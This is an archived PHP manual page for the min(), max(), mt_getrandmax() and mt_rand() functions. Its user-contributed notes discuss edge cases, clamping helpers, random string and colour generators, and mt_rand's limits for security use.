?>

which is the same as:

<?php
$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;
?>

So if you wanted to bound an integer between 1 and 12 for example:

Input:
<?php
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';
?>

Output:
1
1
6
12
12
michaelangel0 at mail.com 04-Jul-2007 03:00
Matlab users and others may feel lonely without the double argument output from min and max functions.

To have the INDEX of the highest value in an array, as well as the value itself, use the following, or a derivative:

<?php
function doublemax($mylist){
  $maxvalue=max($mylist);
  while(list($key,$value)=each($mylist)){
    if($value==$maxvalue)$maxindex=$key;
  }
  return array("m"=>$maxvalue,"i"=>$maxindex);
}
?>
jeremi23 at gmail dot com 14-Jun-2007 03:09
max on a an array with key/values

<?php
$tmp = array(1 => 5, 2=> 3);
echo max($tmp);
?>

this return 5, so the max is done on the values.
johnmott59 at hotmail dot com 17-May-2007 12:35
To find the maximum value from a set of 1-dimensional arrays, do this:

<?php
$d1 = array(450,420,440,430,421);
$d2 = array(460,410,410,430,413,375,256,411,656);
$d3 = array(430,440,470,435,434,255,198);

$t = max(max($d1),max($d2),max($d3));
// $t is 656
?>

The inner max() functions operate on the arrays, the outer max compares the numeric results of the inner ones.
johnphayes at gmail dot com 02-May-2006 09:27
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
log
min
Math Functions


Find lowest value

max
mt_getrandmax
Math Functions
PHP Manual

min

(PHP 4, PHP 5)

min — Find lowest value

Description

mixed min ( array $values )
mixed min ( mixed $value1 , mixed $value2 [, mixed $value3... ] )

If the first and only parameter is an array, min() returns the lowest value in that array. If at least two parameters are provided, min() returns the smallest of these values.

Note:

PHP will evaluate a non-numeric string as 0 if compared to integer, but still return the string if it's seen as the numerically lowest value. If multiple arguments evaluate to 0, min() will return the lowest alphanumerical string value if any strings are given, else a numeric 0 is returned.

Parameters

values

An array containing the values.

Return Values

min() returns the numerically lowest of the parameter values.

Examples

Example #1 Example uses of min()

<?php
echo min(2, 3, 1, 6, 7);  // 1
echo min(array(2, 4, 5)); // 2

echo min(0, 'hello');     // 0
echo min('hello', 0);     // hello
echo min('hello', -1);    // -1

// With multiple arrays, min compares from left to right
// so in our example: 2 == 2, but 4 < 5
$val = min(array(2, 4, 8), array(2, 5, 1)); // array(2, 4, 8)

// If both an array and non-array are given, the array
// is never returned as it's considered the largest
$val = min('string', array(2, 5, 7), 42);   // string
?>

See Also

  • max() - Find highest value
  • count() - Count all elements in an array, or something in an object

User Contributed Notes

hava82 at gmail dot com 26-Sep-2011 12:35
Here is function can find min by array key

<?php
function min_by_key($arr, $key){
    $min = array();
    foreach ($arr as $val) {
        if (!isset($val[$key]) and is_array($val)) {
            $min2 = min_by_key($val, $key);
            $min[$min2] = 1;
        } elseif (!isset($val[$key]) and !is_array($val)) {
            return false;
        } elseif (isset($val[$key])) {
            $min[$val[$key]] = 1;
        }
    }
    return min( array_keys($min) );
}
?>
php at keith tyler dot com 23-Nov-2010 01:03
If NAN is the first argument to min(), the second argument will always be returned.

If NAN is the second argument, NAN will always be returned.

The relationship is the same but inverted for max().

<?php
// \n's skipped for brevity
print max(0,NAN);
print max(NAN,0);
print min(0,NAN);
print min(NAN,0);
?>

Returns:
0
NAN
NAN
0
matt at borjawebs dot com 13-Nov-2010 01:18
A condensed version (and possible application) of returning an array of array keys containing the same minimum value:

<?php
// data
$min_keys = array();
$player_score_totals = array(
'player1' => 300,
'player2' => 301,
'player3' => 302,
'player4' => 301,
...
);

// search for array keys with min() value
foreach($player_score_totals as $playerid => $score)
    if($score == min($player_score_totals)) array_push($min_keys, $playerid);

print_r($min_keys);
?>
Err 05-Oct-2009 04:32
When using a variable with an array that has a list of numbers, put just the variable in min(). Don't use integer index's. Seems pretty straight forward now, but I wasn't used to just putting down the variable for an array in functions.

<?php
  $list = array(9,5,4,6,2,7);
  echo min($list); // display 2
?>
andrew dot j dot dodson at gmail 18-Dec-2008 09:10
min/max works with yyyy-mm-dd dates, e.g.

<?php

$a = array(   '2008-10-01',    '2008-12-01'  );

print min($a); //  '2008-10-01'
print max($a); //  '2008-12-01'

?>

Which is a unexpected since at the top of this page it says.
"PHP will evaluate a non-numeric string as 0"

And if we cast it as an int then we get the year

<?php
print (int)"2008-01-12"; // 2008
?>
ksours at internetbrands dot com 02-Dec-2008 04:07
PHP_INT_MAX is the MAXINT equivalent
mlester at ndsuk dot com 12-Nov-2008 07:59
I have found a very useful trick to help get round the problem of setting a variable to max int when finding a min i.e.

<?php
$val = 10;
$min = 100000;  // This is unpleasant and I couldn't find a equivalent to the C++ MAXINT
if ($val < $min)
{
  $min = $val;
}
?>

try this ...

<?php
$dataSet = Array(7, 8, 9, -1, -100, 0, 1, 2, 3, 5, 6);
$min = true;
$max = true;

foreach ($dataSet as $data )
{
  echo("data = $data");
  $min = min($data, $min);
  $max = max($data, $max);
}

echo("min = $min");
echo("max = $max");
?>

$max can be set to anything e.g. "infinity", but the same trick doesn't work with min, however true does work (false doesn't). Not sure why though.

The above code even works with a data set like this...
<?php $dataSet = Array("0.5", 1, 2, "3", "-1", "5"); ?>

but min doesn't like null or negative float e.g. "-1.2" and "" can give some odd results too.
DO 03-Jul-2008 03:23
I've modified the bugfree min-version to ignore NULL values (else it returns 0).

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args[0])) return false;
  else {
    $min = false;
    foreach ($args[0] AS $value) {
      if (is_numeric($value)) {
        $curval = floatval($value);
        if ($curval < $min || $min === false) $min = $curval;
      }
    }
  }

  return $min;
}
?>
harmor 21-Feb-2008 09:58
A way to bound a integer between two values is:

function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}

which is the same as:

$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;

So if you wanted to bound an integer between 1 and 12 for example:

Input:
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';

Output:
1
1
6
12
12
johngreenbury at australianescapes dot com dot au 29-Jan-2008 05:43
You will get an "Wrong parameter count" error (PHP 4 and possibly 5) if your array looks like the following:

min(115.23,432.11,0.00,45.76)

The 0.00 creates the error. Convert the 0.00 to a high number such as 10000000000.00 or remove it from the array before running the min() function.
piotr_sobolewski at o2 dot nospampleasenono dot pl 07-Nov-2007 08:11
Be very careful when your array contains both strings and numbers. This code works strange (even though explainable) way:
var_dump(max('25.1.1', '222', '99'));
var_dump(max('2.1.1', '222', '99'));
dave at dtracorp dot com 13-Aug-2006 08:30
empty strings '' will also return false or 0, so if you have something like

$test = array('', 1, 5, 8, 44, 22);

'' will be returned as the lowest value

if you only want to get the lowest number, you'll have to resort to the old fashioned loop

// default minimum value
$minVal = 100;
foreach ($test as $value) {
if (is_numeric($value) && $value < $minVal) {
$minVal = $value;
}
johnphayes at gmail dot com 02-May-2006 09:26
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
steffen at morkland dot com 16-Mar-2006 02:16
> NEVER EVER use this function with boolean variables !!!
> Or you'll get something like this: min(true, 1, -2) == true;

> Just because of:
> min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

It is possible to use it with booleans, there is is just one thing, which you need to keep in mind, when evaluating using the non strict comparison (==) anyting that is not bool false, 0 or NULL is consideret true eg.:
(5 == true) = true;
(0 == true) = false;
true is also actually anything else then 0, false and null. However when true is converted to a string or interger true == 1, therefore when sorting true = 1. But if true is the maximum number bool true is returned. so to be sure, if you only want to match if true is the max number remember to use the strict comparison operater ===
31-Jan-2006 09:37
NEVER EVER use this function with boolean variables !!!
Or you'll get something like this: min(true, 1, -2) == true;

Just because of:
min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

You are warned !
DASPRiD — d [AT] sprid [DOT] de 06-Jul-2005 06:39
Here is my slightly modified version of the bugfree min-version. Now the max() function is no longer used in the modification and overall it's fasten up. Would be nice to get some feedback.

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args)) return false;
  else {
    $min = false;
    foreach ($args AS $value) {
      $curval = floatval($value);
      if ($curval < $min || $min === false) $min = $curval;
    }
  }

  return $min;
}
?>
alx5000 at walla dot com 12-Jan-2005 05:16
If you want min to return zero (0) when comparing to a string, try this:

<?php
min(3,4,";");  // ";"
min(0,min(3,4,";")) // 0
?>
nonick AT 8027 DOT org 24-Jan-2004 07:43
I tested this with max(), but I suppose it applies to min() too: If you are working with numbers, then you can use:

    $a = ($b < $c) ? $b : $c;

 which is somewhat faster (roughly 16%) than

    $a = min($b, $c);

 I tested this on several loops using integers and floats, over 1 million iterations.

 I'm running PHP 4.3.1 as a module for Apache 1.3.27.
browne at bee why you dot ee dee you 16-Dec-2003 02:30
min() can be used to cap values at a specific value. For instance, if you're grading papers and someone has some extra credit, but  that shouldn't make it to the final score:

$pts_possible = 50;
$score = 55;

// Percent will equal 1 if $score/$pts_possible is greater than 1
$percent = min($score/$pts_possible,1);
kieran at mgpenguin dot net 18-Jul-2003 08:28
Further modifications to the minnum function above.. This is for a project where I had to grab an entire column out of a database consisting of values that might be string, might be string representations of numbers (floating point or integer) or might be NULL, and find the minimum NUMERIC value:

function minnum($numarray){
    //dont use min(), it contains a bug!
    $min=0;
    if ( ! is_array($numarray) ) $numarray = func_get_args();
    if(is_array($numarray)==true){
        $min=max($numarray);
        for($z=0;$z<count($numarray);$z++){
            $curval=floatval($numarray[$z]);
            if(($curval != 0) && ($curval < $min)){
                $min=$curval;
            }
        }
    }
    return $min;
}

Gets the floating point value of each entry and uses this to check whether it's actually a number before checking whether it's the minimum or not. Also contains modifications noted above to use it as a drop in replacement for min - ie multiple values passed.
Merome at wanadoo dot fr 05-Jul-2003 09:40
Caution : it seems that min() can return a string :

min(";",50)=";" (I expected zero)
calin at php9 dot com 30-May-2003 08:19
if you have an array like this

$arSrc[0]=14;
$arSrc[1]=16;
$arSrc[2]=13;
$arSrc[3]=17;

then in order to get the min element and its position in the array you can do:

$iMinValue = min($arSrc);
$arFlip = array_flip($arSrc);
$iMinPosition = $arFlip[$iMinValue];

echo
 '<br />min_value=',
 $iMinValue,
 '<br />min_position=',
 $iMinPosition
;

this example works for also for an associative array; of course with numeric values
08-Jul-2002 02:36
Re: above example - for a proper drop in replacement for the above, insert

if ( ! is_array($numarray) )
   $numarray = func_get_args();

after
   $min=0;

(For PHP3, check
if (intval(PHP_VERSION) >= 4 && ! is_array($numarray))
   $numarray = func_get_args();
)
kevin at pricetrak dot com 08-Apr-2002 11:47
The 'undefined' behaviour can bit you badly. I would expect min(undefined, -1000) to return -1000. Not so.
nak2 at mail2000 dot ru 14-Mar-2002 11:36
If one of elements is undefided, min() result is underfinded too
max
mt_getrandmax
Math Functions


Show largest possible random value

min
mt_rand
Math Functions
PHP Manual

mt_getrandmax

(PHP 4, PHP 5)

mt_getrandmax — Show largest possible random value

Description

int mt_getrandmax ( void )

Returns the maximum value that can be returned by a call to mt_rand().

Return Values

Returns the maximum random value returned by mt_rand()

Examples

Example #1 Calculate a random floating-point number

<?php
function randomFloat($min = 0, $max = 1) {
    return $min + mt_rand() / mt_getrandmax() * ($max - $min);
}

var_dump(randomFloat());
var_dump(randomFloat(2, 20));
?>

The above example will output something similar to:

float(0.91601131712832)
float(16.511210331931)

See Also

  • mt_rand() - Generate a better random value
  • mt_srand() - Seed the better random number generator
  • getrandmax() - Show largest possible random value

User Contributed Notes

marcus at synchromedia dot co dot uk 10-Aug-2011 01:41
On both 32 and 64-bit systems (OS X and Linux), mt_getrandmax() returns 2147483647 for me, i.e. ~2^31.
min
mt_rand
Math Functions


Generate a better random value

mt_getrandmax
mt_srand
Math Functions
PHP Manual

mt_rand

(PHP 4, PHP 5)

mt_rand — Generate a better random value

Description

int mt_rand ( void )
int mt_rand ( int $min , int $max )

Many random number generators of older libcs have dubious or unknown characteristics and are slow. By default, PHP uses the libc random number generator with the rand() function. The mt_rand() function is a drop-in replacement for this. It uses a random number generator with known characteristics using the » Mersenne Twister, which will produce random numbers four times faster than what the average libc rand() provides.

If called without the optional min, max arguments mt_rand() returns a pseudo-random value between 0 and mt_getrandmax(). If you want a random number between 5 and 15 (inclusive), for example, use mt_rand(5, 15).

Parameters

min

Optional lowest value to be returned (default: 0)

max

Optional highest value to be returned (default: mt_getrandmax())

Return Values

A random integer value between min (or 0) and max (or mt_getrandmax(), inclusive)

Changelog

Version | Description
4.2.0 | The random number generator is seeded automatically.

Examples

Example #1 mt_rand() example

<?php
echo mt_rand() . "\n";
echo mt_rand() . "\n";

echo mt_rand(5, 15);
?>

The above example will output something similar to:

1604716014
1478613278
6

Notes

Caution

The distribution of mt_rand() return values is biased towards even numbers on 64-bit builds of PHP when max is beyond 2^32.

See Also

  • mt_srand() - Seed the better random number generator
  • mt_getrandmax() - Show largest possible random value
  • rand() - Generate a random integer

User Contributed Notes

contact at sheyd dot fr 24-Nov-2011 04:43
To quickly build a human-readable random string for a captcha per example :

<?php

function random($length = 8)
{
    $chars = 'bcdfghjklmnprstvwxzaeiou';

    for ($p = 0; $p < $length; $p++)
    {
        $result .= ($p%2) ? $chars[mt_rand(19, 23)] : $chars[mt_rand(0, 18)];
    }

    return $result;
}

?>

Note that I have removed q and y from $chars to avoid readability problems.
j dot s dot shiuan at gmail dot com 02-Sep-2011 11:12
Another good way to get a random float is to divide the result of mt_rand.
Let's say we want a float between 0.75 and 1.25.

<?php

$i = mt_rand(75,125) / 100;

?>
rok dot kralj at rok-kralj dot net 30-Aug-2011 09:12
This function has limited entrophy. So, if you want to create random string, it will produce only about 2 billion different strings, no matter the length of the string. This can be serous security issue if you are using such strings for session indentifiers, passwords etc.

Many times I have wanted to create *propper* base-64 string (containing only printable characters) of arbitrary length for many purposes. I wrote a function that checks if UNIX random generator is available and uses in that case. If not, it tries to increase the entrophy by accounting in the script execution time.

Here is the function, just try it out!

<?php
function random($len) {
    if (@is_readable('/dev/urandom')) {
        $f=fopen('/dev/urandom', 'r');
        $urandom=fread($f, $len);
        fclose($f);
    }

    $return='';
    for ($i=0;$i<$len;++$i) {
        if (!isset($urandom)) {
            if ($i%2==0) mt_srand(time()%2147 * 1000000 + (double)microtime() * 1000000);
            $rand=48+mt_rand()%64;
        } else $rand=48+ord($urandom[$i])%64;

        if ($rand>57)
            $rand+=7;
        if ($rand>90)
            $rand+=6;

        if ($rand==123) $rand=45;
        if ($rand==124) $rand=46;
        $return.=chr($rand);
    }
    return $return;
}
?>
alex at khimic dot remove it dot h dot com 22-Mar-2011 04:16
This function really generates randow string. One can check it using this:

<?php
header("Content-type: image/png");
$img = imagecreatetruecolor(500,500);

$ink = imagecolorallocate($img,255,255,255);

for($i=0;$i<500;$i++) {
  for($j=0;$j<500;$j++) {
  imagesetpixel($img, mt_rand(1,500), mt_rand(1,500), $ink);
  }
}

imagepng($img);
imagedestroy($img);

?>

This generates 500x500 image with pixel noise.

If you switch mt_rand(1,500) to rand(1,500) you will NOT get pixel noise.
thegreatall at gmail dot com 08-Feb-2011 07:54
[Editor's note: Minor error in a magic constant and a syntax error fixed. You may also want to consider using uniqid(), depending on your needs.]

This will result in an EXTREMELY fast random string using the following characters: "0123456789abcdefghijklmnopqrstuvwxyz"

you can use:

<?php
base_convert(mt_rand(0x1D39D3E06400000, 0x41C21CB8E0FFFFFF), 10, 36);
?>

This will be a random number/string always 12 characters. This will only work on 64 bit systems. This will result in a random number/string between: 100000000000 to zzzzzzzzzzzz If you are using a 32 bit system you will need to use:

<?php
base_convert(mt_rand(0x19A100, 0x39AA3FF), 10, 36);
?>
This will result in a 5 character random number/string, between: 10000 to zzzzz
Robin Leffmann 25-Dec-2010 06:14
Fast, pseudo-random binary data generation using mt_rand():

<?php

function rnd_bin( $length )
{
    while( @$c++ * 16 < $length )
        @$tmp .= md5( mt_rand(), true );
    return substr( $tmp, 0, $length );
}

?>
Andrew Moore 10-Aug-2010 09:16
If you need a predictable set of numbers for a given seed, you may use the following Pure-PHP implementation of a Mersenne Twister

<?php
class Mersenne_Twister
{
  private $state = array ();
  private $index = 0;

  public function __construct($seed = null) {
    if ($seed === null)
      $seed = mt_rand();

    $this->setSeed($seed);
  }

  public function setSeed($seed) {
    $this->state[0] = $seed & 0xffffffff;

    for ($i = 1; $i < 624; $i++) {
      $this->state[$i] = (((0x6c078965 * ($this->state[$i - 1] ^ ($this->state[$i - 1] >> 30))) + $i)) & 0xffffffff;
    }

    $this->index = 0;
  }

  private function generateTwister() {
    for ($i = 0; $i < 624; $i++) {
      $y = (($this->state[$i] & 0x1) + ($this->state[$i] & 0x7fffffff)) & 0xffffffff;
      $this->state[$i] = ($this->state[($i + 397) % 624] ^ ($y >> 1)) & 0xffffffff;

      if (($y % 2) == 1) {
        $this->state[$i] = ($this->state[$i] ^ 0x9908b0df) & 0xffffffff;
      }
    }
  }

  public function getNext($min = null, $max = null) {
    if (($min === null && $max !== null) || ($min !== null && $max === null))
      throw new Exception('Invalid arguments');

    if ($this->index === 0) {
      $this->generateTwister();
    }

    $y = $this->state[$this->index];
    $y = ($y ^ ($y >> 11)) & 0xffffffff;
    $y = ($y ^ (($y << 7) & 0x9d2c5680)) & 0xffffffff;
    $y = ($y ^ (($y << 15) & 0xefc60000)) & 0xffffffff;
    $y = ($y ^ ($y >> 18)) & 0xffffffff;

    $this->index = ($this->index + 1) % 624;

    if ($min === null && $max === null)
      return $y;

    $range = abs($max - $min);

    return min($min, $max) + ($y % ($range + 1));
  }
}
?>
nilesh at itech7 dot com 19-May-2010 12:20
A class to generate 99.5% unqiue strings. I found that there is only one or two characters common between two subsequent strings.

<?php

class Local_RandomString {

  protected $_length;
  protected $_prevRand;

  public function __construct($length = 15) {

    $this->_length = $length;

  }

  public function getRand() {

    $randStr = null;
    $args[] = 'N' . $this->_length;

    for($i = 0; $i < $this->_length; $i++) {
      $args[] = mt_rand();
    }

    $randStr = substr(base64_encode((call_user_func_array('pack', $args))), 1, $this->_length);
    $this->_prevRand = $randStr;
    return $randStr;

  }

  public function setLength($l) {

    $this->_length = (int) $l;

    if($this->_length <= 0) {
      throw new Exception('Invalid random string length');
    }

  }

  public function getPrevRand() {

    return $this->_prevRand;

  }

}
?>
wayne 24-Feb-2010 07:53
A little useful function to create a random unique number out of an array of unallowed values:

<?php
function rand_except($min, $max, $except)
  //function returns a random integer between min and max, just like function rand() does.
  // Difference to rand is that the random generated number will not use any of the values
  // placed in $except. ($except must therefore be an array)
  // function returns false if $except holds all values between $min and $max.
  {
  //first sort array values
  sort($except, SORT_NUMERIC);
  //calculate average gap between except-values
  $except_count = count($except);
  $avg_gap = ($max - $min + 1 - $except_count) / ($except_count + 1);
  if ($avg_gap <= 0)
     return false;
  //now add min and max to $except, so all gaps between $except-values can be calculated
  array_unshift($except, $min - 1);
  array_push($except, $max + 1);
  $except_count += 2;
  //iterate through all values of except. If gap between 2 values is higher than average gap,
  // create random in this gap
  for ($i = 1; $i < $except_count; $i++)
      if ($except[$i] - $except[$i - 1] - 1 >= $avg_gap)
         return mt_rand($except[$i - 1] + 1, $except[$i] - 1);
  return false;
  }
?>
james at coretelecom dot co dot uk 08-Feb-2010 03:29
Makes a random alpha numeric string of a given lenth

<?php
function makePin($lenth =5) {
    // makes a random alpha numeric string of a given lenth
    $aZ09 = array_merge(range('A', 'Z'), range('a', 'z'),range(0, 9));
    $out ='';
    for($c=0;$c < $lenth;$c++) {
       $out .= $aZ09[mt_rand(0,count($aZ09)-1)];
    }
    return $out;
}
?>
armencho at gmail dot com 05-Feb-2010 01:31
It should also be noted that 'mt_rand' function is NOT cryptographically secure. This means, among other things, that you cannot depend on it to generate data that is expected to be unpredictable, i.e. truly random. Depending on circumstances, a third person using 'mt_rand' will be able to generate the exact random number (or series of them) you have, which may break your security system.
ISAWHIM 03-Feb-2010 08:46
This is not trying to dissuade use of this alternative, just trying to expand on the things to "watch-out-for", when using this...

As per the description assumption...
"Many random number generators of older libcs have dubious or unknown characteristics and are slow."

You would elude to the assumption that mt_rand() does not have, "dubious or unknown characteristics". It is obvious that it is faster, but that does not count the additional code required to ensure validity of results, or scope of input value checking.

This function fails horribly, without error, when operating out of the scope of the range. (Key point being, "without error".)

mt_getrandmax() is NOT the max INTEGER size. It is limited to positive numbers from ZERO to your integers largest value. Thus, it is HALF the size of an INTEGER, since integers are SIGNED, but mt_rand can only correctly randomize from ZERO to mt_getrandmax(). (Though, that is not entirely true. It can do negative numbers, if the min/max range/spread is not greater than the value of mt_getrandmax()... sometimes.)

Things to watch-out for... (Sort of negates any speed gains.)

This assumes you "Attempted" to process MIN>=0 and MAX<=mt_getrandmax().

Returning a negative value = RANDOMIZER FAILED
Returning a vlaue higher than mt_getrandmax() = RANDOMIZER FAILED
Returning SAME_NUMBER from more than one call = Possibly RANDOMIZER FAILED
Returning a number <MIN or >MAX = RANDOMIZER FAILED

PHP version 5.2.6 on Apechee 2.0.63 on a Linux server.
Specific instances of failure... (All these still return a value.)
With RAND_MAX reporting that it is '2147483647'.

<?PHP
// Returns negative numbers as if (-2147483647,0)
$z = mt_rand(0,2147483648);

// Returns mostly 1 or negative numbers
$z = mt_rand(-2147483647,2147483647);

// Returns negative numbers, but within range set???
// So much for returning only values from 0 to Max
$z = mt_rand(-2147483647,0);

// Attempt to stay within the range/spread of mt_getrandmax()
// Results are odd, like 180 to 2147478000
$z = mt_rand(2147483647,4294967294);

// Works, but it should not, as the value is not an INT
// Values are converted to floor(x), so range is (0,0)
$z = mt_rand(0.000001,0.9999999);
?>

Code used to test...

<?PHP
// Reports the MAX possible, which is half of an INT's value
echo('RAND_MAX: '.mt_getrandmax());
for($i=0;$i<=100000;$i++) {
// RAND_MAX = 2147483647
$z = mt_rand(0,2147483647);
// echo($z.'<BR>'); // Uncomment to see results, lower LOOP values first!
if($z>$high || !isset($high)){$high=$z;}
if($z<$low || !isset($low)){$low=$z;}
}
echo('HIGH: '.$high.'<BR>LOW: '.$low.'<BR>');
?>

To get a number that is actually in the full range of an INT, you need to make two separate calls, and add them together. Then convert that unsigned INT value into a signed INT value.
armencho at gmail dot com 15-Jan-2010 07:59
The following function generates a string of arbitrary length (with limitations), composed of random PHP characters (i.e. each an 8-bit value - a byte). Suitable for generating random session strings. Encode as Base64 to transmit over network, where required.

** The function is pretty much one of the fastest (if not THE fastest) methods of generating random strings, as opposed to numerous examples given on this page which go about with char-by-char generation. Sloppy benchmarks estimate a factor of 10 speedup. Keep your websites lean, people. **

The only thing to keep in mind is that, by design, it outputs 8-bit characters, and thus the generated string is not automatically suitable for transmission with various network protocols, unless altered, f.e. URL- or Base64- encoded. Also, again by design, the length of the string is a multiple of 4 characters/bytes. The version below produces a 24 character long string. This will also give you a clean input to get a 32 character long Base64 encoded variant of it.

<?php

function gen_rand_str_24()
{
     return pack('N6', mt_rand(), mt_rand(), mt_rand(),
          mt_rand(), mt_rand(), mt_rand());
}

?>

I leave it an exercise to the reader to write a generic (i.e. arbitrary double word length, not 6 dwords as in above) version of it.
Anonymous 04-Aug-2009 03:45
Just another random password generator. Assembles passwords such as these:

N_v85kA2_s
8k4jz94_H0
30824n6VcN

useful for... whatever. ;)

$underscores holds the maximum allowed number of underscores. Default is two. The function is programmed to not add an underscore at the beginning or end of the password, right after another underscore, or if the maximum # has already been used.

$length holds the length you want the password to be. Default is 10 characters long.

<?php
function alphanumericPass()
{
    // Do not modify anything below here
    $underscores = 2; // Maximum number of underscores allowed in password
    $length = 10; // Length of password

    $p ="";
    for ($i=0;$i<$length;$i++)
    {
        $c = mt_rand(1,7);
        switch ($c)
        {
            case ($c<=2):
                // Add a number
                $p .= mt_rand(0,9);
            break;
            case ($c<=4):
                // Add an uppercase letter
                $p .= chr(mt_rand(65,90));
            break;
            case ($c<=6):
                // Add a lowercase letter
                $p .= chr(mt_rand(97,122));
            break;
            case 7:
                 $len = strlen($p);
                if ($underscores>0&&$len>0&&$len<($length-1)&&$p[$len-1]!="_")
                {
                    $p .= "_";
                    $underscores--;
                }
                else
                {
                    $i--;
                    continue;
                }
            break;
        }
    }
    return $p;
}
?>
mark omohundro, ajamyajax dot com 19-Feb-2009 09:13
just another example: both of these routines return a random decimal number between -1 and 1... since rand() only returns a max 'integer' value while mt_rand() return a max 'long' value -- at least on some platforms -- mt_rand() could be the better precision choice for some on any variation to this routine (but i don't think it matters here):

<?php
echo "-1 to 1 rand() value: ". (rand(getrandmax()*-1,getrandmax())/getrandmax()). "\n<br/>";
echo "-1 to 1 mt_rand() value: ". (mt_rand(mt_getrandmax()*-1,mt_getrandmax())/mt_getrandmax()). "\n";
?>
xphere81 at hotmail dot com 19-Sep-2008 04:08
@Jonathon

$id_list = range($min, $max);
shuffle($id_list);

This is a faster way to obtain a list of unique id's in a random order.
It's always better to use PHP predefined functions, isn't it? ;)

Also remember that calling mt_rand too many times can downgrade the performance of ANY algorithm.
rst 06-Sep-2008 10:13
re: rt and euxneks
Simpler:
<?php
printf( "#%06X\n", mt_rand( 0, 0xFFFFFF ) );
?>
rt 27-Aug-2008 05:14
Re: euxneks at NOSPAMgmail dot com

You might also want to add STR_PAD_LEFT and have:

<?php
echo '#' . str_pad( base_convert( mt_rand(0, ( 255*255*255) ), 10, 16 ), 6, '0', STR_PAD_LEFT) . "\n";
?>
euxneks at NOSPAMgmail dot com 18-Aug-2008 03:11
Re: keith at ourwebsite dot ca

Here's another way to do it, in one line :)
<?php
echo '#' . str_pad( base_convert( mt_rand(0, ( 255*255*255) ), 10, 16 ), 6, '0' ) . "\n";
?>

str_pad is there in case mt_rand chooses a number that will generate a hex value with less than 6 characters. (you could leave that out but it's not a very clean way to write the hex colors is it :)
keith at ourwebsite dot ca 17-Jul-2008 03:16
This is how I generate a random colour for backgrounds, graphs, text colour etc.

<?
$total = "9";
$start = "0";

$randcolour    = mt_rand($start, $total);
$randcolour    .= mt_rand($start, $total);
$randcolour    .= mt_rand($start, $total);
$randcolour    .= mt_rand($start, $total);
$randcolour    .= mt_rand($start, $total);
$randcolour    .= mt_rand($start, $total);

?>

<table width="200px" border="0" cellspacing="10" cellpadding="0" bgcolor="#<? echo $randcolour; ?>">
      <tr>
        <td>This table has a random background colour</td>
      </tr>
    </table>
Mark Seecof 05-Jun-2008 11:31
If you need some pseudorandom bits for security or cryptographic purposes (e.g.g., random IV for block cipher, random salt for password hash) mt_rand() is a poor source.  On most Unix/Linux and/or MS-Windows platforms you can get a better grade of pseudorandom bits from the OS or system library, like this:

<?php
// get 128 pseudorandom bits in a string of 16 bytes

$pr_bits = '';

// Unix/Linux platform?
$fp = @fopen('/dev/urandom','rb');
if ($fp !== FALSE) {
    $pr_bits .= @fread($fp,16);
    @fclose($fp);
}

// MS-Windows platform?
if (@class_exists('COM')) {
    // http://msdn.microsoft.com/en-us/library/aa388176(VS.85).aspx
    try {
        $CAPI_Util = new COM('CAPICOM.Utilities.1');
        $pr_bits .= $CAPI_Util->GetRandom(16,0);

        // if we ask for binary data PHP munges it, so we
        // request base64 return value.  We squeeze out the
        // redundancy and useless ==CRLF by hashing...
        if ($pr_bits) { $pr_bits = md5($pr_bits,TRUE); }
    } catch (Exception $ex) {
        // echo 'Exception: ' . $ex->getMessage();
    }
}

if (strlen($pr_bits) < 16) {
    // do something to warn system owner that
    // pseudorandom generator is missing
}
?>

NB: it is generally safe to leave both the attempt to read /dev/urandom and the attempt to access CAPICOM in your code, though each will fail silently on the other's platform.  Leave them both there so your code will be more portable.
Rocker 22-May-2008 07:24
I think this will work faster.

<?php
  function unique_random($Min,$Max,$num){

    //this will swap min an max values if $Min>$Max
    if ($Min>$Max) { $min=$Max; $max=$Min; }
    else { $min=$Min; $max=$Max; }

    //this will avoid to enter a number of results greater than possible results
    if ($num>($max-$min)) $num=($max-$min);

    $values=array();
    $result=array();
    for ($i=$min;$i<=$max;$i++) {
      $values[]=$i;
    }
    for ($j=0;$j<$num;$j++){
      $key=mt_rand(0,count($values)-1);
      $result[]=$values[$key];
      unset($values[$key]);
      sort($values);
    }
    return $result;
}
?>
don_knotts at hotmail dot com 22-May-2008 04:58
I forgot to add a side-note to my post about the unique random number function.  If the array count is more than half of the random number max, the function could take a very long time to process, maybe even go into an infinite loop.  The best way to avoid this is to set the max at twice the array count; i.e. if you want an array of 10 unique random numbers, the maximum random number needs to be at least 20.  For my purposes, I have 50 pictures to choose from, and the function randomly picks 20 of them to display on the webpage, without displaying an image twice.
don_knotts at hotmail dot com 22-May-2008 03:57
